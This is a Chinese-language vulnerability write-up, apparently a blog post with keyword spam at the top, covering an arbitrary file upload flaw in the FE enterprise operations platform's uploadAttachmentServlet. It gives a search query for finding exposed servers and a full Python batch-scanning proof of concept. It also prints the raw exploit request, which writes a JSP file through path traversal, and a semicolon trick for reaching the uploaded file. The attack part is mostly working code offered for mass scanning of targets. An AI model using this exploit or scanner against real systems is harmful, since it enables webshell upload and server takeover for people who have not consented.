做外贸网站的效果怎么样,广州软件开发培训机构有哪些,全网营销推广,传奇服务器如何做网站声明#xff1a;本文档或演示材料仅用于教育和教学目的。如果任何个人或组织利用本文档中的信息进行非法活动#xff0c;将与本文档的作者或发布者无关。 一、漏洞描述
企互联-FE企业运营管理平台是一个利用云计算、人工智能、大数据、物联网和移动互联网等现代技术构建的云… 声明本文档或演示材料仅用于教育和教学目的。如果任何个人或组织利用本文档中的信息进行非法活动将与本文档的作者或发布者无关。 一、漏洞描述
企互联-FE企业运营管理平台是一个利用云计算、人工智能、大数据、物联网和移动互联网等现代技术构建的云工作台。然而该平台的uploadAttachmentServlet接口存在文件上传漏洞这使得恶意攻击者有可能上传有害的后门程序或木马。这种攻击可能使得攻击者获得对服务器的远程访问权限或者对系统造成破坏给服务器带来严重的安全威胁。
二、资产收集
1.使用网络空间测绘引擎搜索
鹰图检索app.name飞企互联 FE||app.name飞企互联 FE 6.0 2.使用poc批量扫描
#!/usr/bin/env python
# -*- coding: utf-8 -*-# 导入请求库用于发送HTTP请求
import requests
# 导入随机库用于生成随机字符串
import random
# 导入字符串库用于获取ASCII字母和数字
import string
# 导入解析命令行参数的库
import argparse
# 忽略HTTPS警告
from urllib3.exceptions import InsecureRequestWarning# 定义红色和重置终端颜色的字符串用于输出高亮提示
RED \033[91m
RESET \033[0m# 忽略不安全请求的警告
requests.packages.urllib3.disable_warnings(categoryInsecureRequestWarning)# 生成随机基础字符串
def rand_base(n):生成包含n个字符的随机字符串。参数n -- 字符串的长度返回值随机生成的字符串return .join(random.choices(string.ascii_lowercase string.digits, kn))# 检测URL是否存在上传漏洞
def check_vulnerability(url):检测给定URL是否存在飞企互联-FE企业运营管理平台的上传漏洞。参数url -- 待检测的URL无返回值。如果检测到漏洞则打印提示信息否则打印无漏洞信息。# 生成随机文件名filename rand_base(6)# 构造上传URLupload_url url.rstrip(/) /servlet/uploadAttachmentServlet# 设置上传请求的头部信息upload_headers {User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0),Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,*/*;q0.8,Accept-Language: zh-CN,zh;q0.8,zh-TW;q0.7,zh-HK;q0.5,en-US;q0.3,en;q0.2,Accept-Encoding: gzip, deflate,Connection: close,Content-Type: multipart/form-data; boundary----WebKitFormBoundaryKNt0t4vBe8cX9rZk}# 构造上传请求的数据upload_data (------WebKitFormBoundaryKNt0t4vBe8cX9rZk\r\nfContent-Disposition: form-data; nameuploadFile; filename../../../../../jboss/web/fe.war/{filename}.jsp\r\nContent-Type: text/plain\r\n\r\n% out.println(123123);%\r\n------WebKitFormBoundaryKNt0t4vBe8cX9rZk\r\nContent-Disposition: form-data; namejson\r\n\r\n{iq:{query:{UpdateType:mail}}}\r\n------WebKitFormBoundaryKNt0t4vBe8cX9rZk--)try:# 发送上传请求response_upload requests.post(upload_url, headersupload_headers, dataupload_data, verifyFalse, timeout30)# 构造访问上传文件的URLaccess_url url.rstrip(/) f/{filename}.jsp;# 发送访问请求response_access requests.get(access_url, verifyFalse, timeout30)# 检查上传和访问的响应判断是否存在漏洞if response_upload.status_code 200 and response_access.status_code 200 and 123123 in response_access.text:print(f{RED}URL [{url}] 存在飞企互联-FE企业运营管理平台uploadAttachmentServlet任意文件上传漏洞{RESET})else:print(fURL [{url}] 不存在漏洞)except requests.exceptions.Timeout:print(fURL [{url}] 请求超时可能存在漏洞)except requests.RequestException as e:print(fURL [{url}] 请求失败 {e})# 程序入口
def main():# 解析命令行参数parser argparse.ArgumentParser(description检测目标地址是否存在飞企互联-FE企业运营管理平台uploadAttachmentServlet任意文件上传漏洞)parser.add_argument(-u, --url, help指定目标地址)parser.add_argument(-f, --file, help指定包含目标地址的文本文件)args parser.parse_args()# 根据参数执行漏洞检测if args.url:if not args.url.startswith(http://) and not args.url.startswith(https://):args.url http:// args.urlcheck_vulnerability(args.url)elif args.file:with open(args.file, r) as file:urls file.read().splitlines()for url in urls:if not url.startswith(http://) and not url.startswith(https://):url http:// urlcheck_vulnerability(url)if __name__ __main__:main()cmd运行python poc.py -f url.txt 随机寻找的幸运儿 三、漏洞复现
1.构造数据包
POST /servlet/uploadAttachmentServlet HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0)
Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,*/*;q0.8
Accept-Language: zh-CN,zh;q0.8,zh-TW;q0.7,zh-HK;q0.5,en-US;q0.3,en;q0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary----WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Length: 404------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; nameuploadFile; filename../../../../../jboss/web/fe.war/from.jsp
Content-Type: text/plain% out.println(123123);%
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; namejson{iq:{query:{UpdateType:mail}}}
------WebKitFormBoundaryKNt0t4vBe8cX9rZk--2.数据包分析 请求行POST /servlet/uploadAttachmentServlet HTTP/1.1表示这是一个POST请求目标URL是/servlet/uploadAttachmentServlet使用的HTTP协议版本是1.1。 请求头包括主机、用户代理、接受类型、接受语言、接受编码和连接等信息。 请求体包含两个部分一个是文件内容另一个是JSON数据。 文件内容部分 边界标识符------WebKitFormBoundaryKNt0t4vBe8cX9rZk内容描述Content-Disposition: form-data; nameuploadFile; filename../../../../../jboss/web/fe.war/from.jsp表示上传的文件名为from.jsp位于../../../jboss/web/fe.war/目录下。内容类型Content-Type: text/plain表示上传的文件类型为纯文本。文件内容% out.println(123123);%这是一个简单的JSP脚本输出字符串123123。 JSON数据部分 边界标识符------WebKitFormBoundaryKNt0t4vBe8cX9rZk内容描述Content-Disposition: form-data; namejsonJSON数据{iq:{query:{UpdateType:mail}}}这是一个JSON对象包含一个名为iq的对象该对象又包含一个名为query的对象最后这个query对象有一个名为UpdateType的属性值为mail。 结束边界标识符------WebKitFormBoundaryKNt0t4vBe8cX9rZk--表示请求体的结束。
3.结束跑路
使用yakit工具构造数据报发送 查看上传的文件最后要用;结尾绕过解析。
访问上传的文件http://ip/from.jsp; 每篇一言心向花开何不朝夕。